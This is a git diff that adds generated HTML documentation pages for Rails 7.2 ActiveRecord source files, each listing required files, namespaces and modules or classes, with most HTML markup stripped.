+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/associations/has_one_through_association_rb.html b/src/7.2/files/activerecord/lib/active_record/associations/has_one_through_association_rb.html new file mode 100644 index 0000000000..2becf21952 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/associations/has_one_through_association_rb.html @@ -0,0 +1,72 @@ +--- +title: has_one_through_association.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/associations/join_dependency/join_association_rb.html b/src/7.2/files/activerecord/lib/active_record/associations/join_dependency/join_association_rb.html new file mode 100644 index 0000000000..d98c19d51f --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/associations/join_dependency/join_association_rb.html @@ -0,0 +1,84 @@ +--- +title: join_association.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_record/associations/join_dependency/join_part
  • + +
  • active_support/core_ext/array/extract
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/associations/join_dependency/join_base_rb.html b/src/7.2/files/activerecord/lib/active_record/associations/join_dependency/join_base_rb.html new file mode 100644 index 0000000000..bd9d1924c7 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/associations/join_dependency/join_base_rb.html @@ -0,0 +1,80 @@ +--- +title: join_base.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_record/associations/join_dependency/join_part
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/associations/join_dependency/join_part_rb.html b/src/7.2/files/activerecord/lib/active_record/associations/join_dependency/join_part_rb.html new file mode 100644 index 0000000000..10d51ee93a --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/associations/join_dependency/join_part_rb.html @@ -0,0 +1,72 @@ +--- +title: join_part.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/associations/join_dependency_rb.html b/src/7.2/files/activerecord/lib/active_record/associations/join_dependency_rb.html new file mode 100644 index 0000000000..4e1fc5644a --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/associations/join_dependency_rb.html @@ -0,0 +1,76 @@ +--- +title: join_dependency.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/associations/nested_error_rb.html b/src/7.2/files/activerecord/lib/active_record/associations/nested_error_rb.html new file mode 100644 index 0000000000..c84851d6d4 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/associations/nested_error_rb.html @@ -0,0 +1,85 @@ +--- +title: nested_error.rb +layout: default +--- +
+ + +
+
+ +
+ +

Validation error class to wrap association records’ errors, with index_errors support.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/associations/preloader/association_rb.html b/src/7.2/files/activerecord/lib/active_record/associations/preloader/association_rb.html new file mode 100644 index 0000000000..9199f2a81e --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/associations/preloader/association_rb.html @@ -0,0 +1,57 @@ +--- +title: association.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/associations/preloader/batch_rb.html b/src/7.2/files/activerecord/lib/active_record/associations/preloader/batch_rb.html new file mode 100644 index 0000000000..d3ff5eb60e --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/associations/preloader/batch_rb.html @@ -0,0 +1,72 @@ +--- +title: batch.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/associations/preloader/branch_rb.html b/src/7.2/files/activerecord/lib/active_record/associations/preloader/branch_rb.html new file mode 100644 index 0000000000..1db469d1a2 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/associations/preloader/branch_rb.html @@ -0,0 +1,72 @@ +--- +title: branch.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/associations/preloader/through_association_rb.html b/src/7.2/files/activerecord/lib/active_record/associations/preloader/through_association_rb.html new file mode 100644 index 0000000000..2af7d1e949 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/associations/preloader/through_association_rb.html @@ -0,0 +1,72 @@ +--- +title: through_association.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/associations/preloader_rb.html b/src/7.2/files/activerecord/lib/active_record/associations/preloader_rb.html new file mode 100644 index 0000000000..f5b7a17dc4 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/associations/preloader_rb.html @@ -0,0 +1,80 @@ +--- +title: preloader.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/enumerable
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/associations/singular_association_rb.html b/src/7.2/files/activerecord/lib/active_record/associations/singular_association_rb.html new file mode 100644 index 0000000000..0b0e6c2231 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/associations/singular_association_rb.html @@ -0,0 +1,72 @@ +--- +title: singular_association.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/associations/through_association_rb.html b/src/7.2/files/activerecord/lib/active_record/associations/through_association_rb.html new file mode 100644 index 0000000000..1c42931941 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/associations/through_association_rb.html @@ -0,0 +1,72 @@ +--- +title: through_association.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/associations_rb.html b/src/7.2/files/activerecord/lib/active_record/associations_rb.html new file mode 100644 index 0000000000..fbc6ac48c7 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/associations_rb.html @@ -0,0 +1,74 @@ +--- +title: associations.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/asynchronous_queries_tracker_rb.html b/src/7.2/files/activerecord/lib/active_record/asynchronous_queries_tracker_rb.html new file mode 100644 index 0000000000..36dbef7577 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/asynchronous_queries_tracker_rb.html @@ -0,0 +1,70 @@ +--- +title: asynchronous_queries_tracker.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/attribute_assignment_rb.html b/src/7.2/files/activerecord/lib/active_record/attribute_assignment_rb.html new file mode 100644 index 0000000000..820107523c --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/attribute_assignment_rb.html @@ -0,0 +1,72 @@ +--- +title: attribute_assignment.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/attribute_methods/before_type_cast_rb.html b/src/7.2/files/activerecord/lib/active_record/attribute_methods/before_type_cast_rb.html new file mode 100644 index 0000000000..08e3c1677e --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/attribute_methods/before_type_cast_rb.html @@ -0,0 +1,74 @@ +--- +title: before_type_cast.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/attribute_methods/composite_primary_key_rb.html b/src/7.2/files/activerecord/lib/active_record/attribute_methods/composite_primary_key_rb.html new file mode 100644 index 0000000000..537ccf454b --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/attribute_methods/composite_primary_key_rb.html @@ -0,0 +1,72 @@ +--- +title: composite_primary_key.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/attribute_methods/dirty_rb.html b/src/7.2/files/activerecord/lib/active_record/attribute_methods/dirty_rb.html new file mode 100644 index 0000000000..ea484c6dbd --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/attribute_methods/dirty_rb.html @@ -0,0 +1,82 @@ +--- +title: dirty.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/module/attribute_accessors
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/attribute_methods/primary_key_rb.html b/src/7.2/files/activerecord/lib/active_record/attribute_methods/primary_key_rb.html new file mode 100644 index 0000000000..38e1732a56 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/attribute_methods/primary_key_rb.html @@ -0,0 +1,84 @@ +--- +title: primary_key.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • set
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/attribute_methods/query_rb.html b/src/7.2/files/activerecord/lib/active_record/attribute_methods/query_rb.html new file mode 100644 index 0000000000..1039af3c77 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/attribute_methods/query_rb.html @@ -0,0 +1,85 @@ +--- +title: query.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/attribute_methods/read_rb.html b/src/7.2/files/activerecord/lib/active_record/attribute_methods/read_rb.html new file mode 100644 index 0000000000..1b7bf4ee93 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/attribute_methods/read_rb.html @@ -0,0 +1,78 @@ +--- +title: read.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/attribute_methods/serialization_rb.html b/src/7.2/files/activerecord/lib/active_record/attribute_methods/serialization_rb.html new file mode 100644 index 0000000000..d75d0aeb22 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/attribute_methods/serialization_rb.html @@ -0,0 +1,85 @@ +--- +title: serialization.rb +layout: default +--- +
+ + +
+ + +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/attribute_methods/time_zone_conversion_rb.html b/src/7.2/files/activerecord/lib/active_record/attribute_methods/time_zone_conversion_rb.html new file mode 100644 index 0000000000..362fc5618f --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/attribute_methods/time_zone_conversion_rb.html @@ -0,0 +1,82 @@ +--- +title: time_zone_conversion.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/object/try
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/attribute_methods/write_rb.html b/src/7.2/files/activerecord/lib/active_record/attribute_methods/write_rb.html new file mode 100644 index 0000000000..6d40f729f3 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/attribute_methods/write_rb.html @@ -0,0 +1,78 @@ +--- +title: write.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/attribute_methods_rb.html b/src/7.2/files/activerecord/lib/active_record/attribute_methods_rb.html new file mode 100644 index 0000000000..7bc8cba7d5 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/attribute_methods_rb.html @@ -0,0 +1,84 @@ +--- +title: attribute_methods.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/enumerable
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/attributes_rb.html b/src/7.2/files/activerecord/lib/active_record/attributes_rb.html new file mode 100644 index 0000000000..bb038f10fd --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/attributes_rb.html @@ -0,0 +1,84 @@ +--- +title: attributes.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_model/attribute/user_provided_default
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/autosave_association_rb.html b/src/7.2/files/activerecord/lib/active_record/autosave_association_rb.html new file mode 100644 index 0000000000..7c32f484ef --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/autosave_association_rb.html @@ -0,0 +1,82 @@ +--- +title: autosave_association.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_record/associations/nested_error
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/base_rb.html b/src/7.2/files/activerecord/lib/active_record/base_rb.html new file mode 100644 index 0000000000..9d988a550f --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/base_rb.html @@ -0,0 +1,105 @@ +--- +title: base.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/benchmarkable
  • + +
  • active_support/dependencies
  • + +
  • active_support/descendants_tracker
  • + +
  • active_support/time
  • + +
  • active_support/core_ext/class/subclasses
  • + +
  • active_record/log_subscriber
  • + +
  • active_record/explain_subscriber
  • + +
  • active_record/relation/delegation
  • + +
  • active_record/attributes
  • + +
  • active_record/type_caster
  • + +
  • active_record/database_configurations
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/callbacks_rb.html b/src/7.2/files/activerecord/lib/active_record/callbacks_rb.html new file mode 100644 index 0000000000..a9e1f4abd1 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/callbacks_rb.html @@ -0,0 +1,74 @@ +--- +title: callbacks.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/coders/column_serializer_rb.html b/src/7.2/files/activerecord/lib/active_record/coders/column_serializer_rb.html new file mode 100644 index 0000000000..bacc1a85e9 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/coders/column_serializer_rb.html @@ -0,0 +1,72 @@ +--- +title: column_serializer.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/coders/json_rb.html b/src/7.2/files/activerecord/lib/active_record/coders/json_rb.html new file mode 100644 index 0000000000..8b0bd2e1e3 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/coders/json_rb.html @@ -0,0 +1,74 @@ +--- +title: json.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/coders/yaml_column_rb.html b/src/7.2/files/activerecord/lib/active_record/coders/yaml_column_rb.html new file mode 100644 index 0000000000..24552bf227 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/coders/yaml_column_rb.html @@ -0,0 +1,89 @@ +--- +title: yaml_column.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • yaml
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract/connection_handler_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract/connection_handler_rb.html new file mode 100644 index 0000000000..659c4a672e --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract/connection_handler_rb.html @@ -0,0 +1,91 @@ +--- +title: connection_handler.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • thread
  • + +
  • concurrent/map
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract/connection_pool/queue_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract/connection_pool/queue_rb.html new file mode 100644 index 0000000000..52dc700e32 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract/connection_pool/queue_rb.html @@ -0,0 +1,95 @@ +--- +title: queue.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • thread
  • + +
  • monitor
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract/connection_pool/reaper_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract/connection_pool/reaper_rb.html new file mode 100644 index 0000000000..7f5c7ae6af --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract/connection_pool/reaper_rb.html @@ -0,0 +1,91 @@ +--- +title: reaper.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • thread
  • + +
  • weakref
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract/connection_pool_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract/connection_pool_rb.html new file mode 100644 index 0000000000..d9b863287a --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract/connection_pool_rb.html @@ -0,0 +1,99 @@ +--- +title: connection_pool.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • thread
  • + +
  • concurrent/map
  • + +
  • monitor
  • + +
  • active_record/connection_adapters/abstract/connection_pool/queue
  • + +
  • active_record/connection_adapters/abstract/connection_pool/reaper
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract/database_limits_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract/database_limits_rb.html new file mode 100644 index 0000000000..552dc9f2be --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract/database_limits_rb.html @@ -0,0 +1,74 @@ +--- +title: database_limits.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract/database_statements_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract/database_statements_rb.html new file mode 100644 index 0000000000..f5a190f22a --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract/database_statements_rb.html @@ -0,0 +1,76 @@ +--- +title: database_statements.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract/query_cache_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract/query_cache_rb.html new file mode 100644 index 0000000000..62701ff43b --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract/query_cache_rb.html @@ -0,0 +1,93 @@ +--- +title: query_cache.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • concurrent/map
  • + +
  • concurrent/atomic/atomic_fixnum
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract/quoting_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract/quoting_rb.html new file mode 100644 index 0000000000..2456adaaa6 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract/quoting_rb.html @@ -0,0 +1,88 @@ +--- +title: quoting.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/big_decimal/conversions
  • + +
  • active_support/multibyte/chars
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract/savepoints_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract/savepoints_rb.html new file mode 100644 index 0000000000..faeaa21f62 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract/savepoints_rb.html @@ -0,0 +1,74 @@ +--- +title: savepoints.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract/schema_creation_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract/schema_creation_rb.html new file mode 100644 index 0000000000..bfda90123e --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract/schema_creation_rb.html @@ -0,0 +1,72 @@ +--- +title: schema_creation.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions_rb.html new file mode 100644 index 0000000000..6e7e7ca329 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions_rb.html @@ -0,0 +1,83 @@ +--- +title: schema_definitions.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract/schema_dumper_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract/schema_dumper_rb.html new file mode 100644 index 0000000000..73d86717a2 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract/schema_dumper_rb.html @@ -0,0 +1,72 @@ +--- +title: schema_dumper.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract/schema_statements_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract/schema_statements_rb.html new file mode 100644 index 0000000000..50c6220366 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract/schema_statements_rb.html @@ -0,0 +1,86 @@ +--- +title: schema_statements.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/string/access
  • + +
  • openssl
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract/transaction_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract/transaction_rb.html new file mode 100644 index 0000000000..eb45cab617 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract/transaction_rb.html @@ -0,0 +1,101 @@ +--- +title: transaction.rb +layout: default +--- +
+ + +
+ + +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract_adapter_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract_adapter_rb.html new file mode 100644 index 0000000000..6d720f7f93 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract_adapter_rb.html @@ -0,0 +1,113 @@ +--- +title: abstract_adapter.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • set
  • + +
  • active_record/connection_adapters/sql_type_metadata
  • + +
  • active_record/connection_adapters/abstract/schema_dumper
  • + +
  • active_record/connection_adapters/abstract/schema_creation
  • + +
  • active_support/concurrency/null_lock
  • + +
  • active_support/concurrency/load_interlock_aware_monitor
  • + +
  • arel/collectors/bind
  • + +
  • arel/collectors/composite
  • + +
  • arel/collectors/sql_string
  • + +
  • arel/collectors/substitute_binds
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter_rb.html new file mode 100644 index 0000000000..b86cf0b94f --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter_rb.html @@ -0,0 +1,109 @@ +--- +title: abstract_mysql_adapter.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_record/connection_adapters/abstract_adapter
  • + +
  • active_record/connection_adapters/statement_pool
  • + +
  • active_record/connection_adapters/mysql/column
  • + +
  • active_record/connection_adapters/mysql/database_statements
  • + +
  • active_record/connection_adapters/mysql/explain_pretty_printer
  • + +
  • active_record/connection_adapters/mysql/quoting
  • + +
  • active_record/connection_adapters/mysql/schema_creation
  • + +
  • active_record/connection_adapters/mysql/schema_definitions
  • + +
  • active_record/connection_adapters/mysql/schema_dumper
  • + +
  • active_record/connection_adapters/mysql/schema_statements
  • + +
  • active_record/connection_adapters/mysql/type_metadata
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/column_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/column_rb.html new file mode 100644 index 0000000000..124485c2c0 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/column_rb.html @@ -0,0 +1,81 @@ +--- +title: column.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/deduplicable_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/deduplicable_rb.html new file mode 100644 index 0000000000..8898e35910 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/deduplicable_rb.html @@ -0,0 +1,76 @@ +--- +title: deduplicable.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/mysql/column_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/mysql/column_rb.html new file mode 100644 index 0000000000..00666e2d77 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/mysql/column_rb.html @@ -0,0 +1,74 @@ +--- +title: column.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
